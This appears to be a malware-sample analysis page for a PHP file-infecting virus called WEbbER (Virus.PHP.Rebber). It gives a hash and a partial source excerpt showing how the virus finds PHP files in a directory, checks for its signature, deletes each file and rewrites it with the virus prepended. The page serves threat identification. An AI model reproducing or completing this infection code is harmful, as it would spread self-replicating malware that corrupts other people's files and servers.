Hostile 92% php Download

Virus.PHP.Rebber

PHP file infector appenderWEbbER PHP prepender virus by Red-Cell
SHA-256bbdfc03d41cd22424304d0bc316b1bf2816e47034422b6ca24bd2ea0605b3e2e

Evidence

WEbbER virus infection marker string lines 1–42
⋯4 lines
5//Copyright (C) 2002 [Red-Cell] inc.
6$c = "";
7//Get the virus from the host file
8$f = fopen (__FILE__, "r");
9$c = fread ($f, filesize (__FILE__));
10fclose ($f);
11$c = substr($c,0,866);
12//Search for files to infect
13$handle=opendir('.');
14while (($file = readdir($handle))!==false) {
15if ($file != "." && $file != "..")
16 {
⋯5 lines
22 $cont = fread ($g,filesize ($file));
23 fclose ($g);
24 if (!strstr($cont,"[WEbbER]")) //check the signature
25 {
26 unlink("$file"); //delete and prepend the virus
27 $g = fopen ($file, "a+");
28 fwrite ($g,"$c");
29 fwrite ($g,"\n");
30 fwrite ($g,substr($cont,5)); //append the original file
⋯12 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.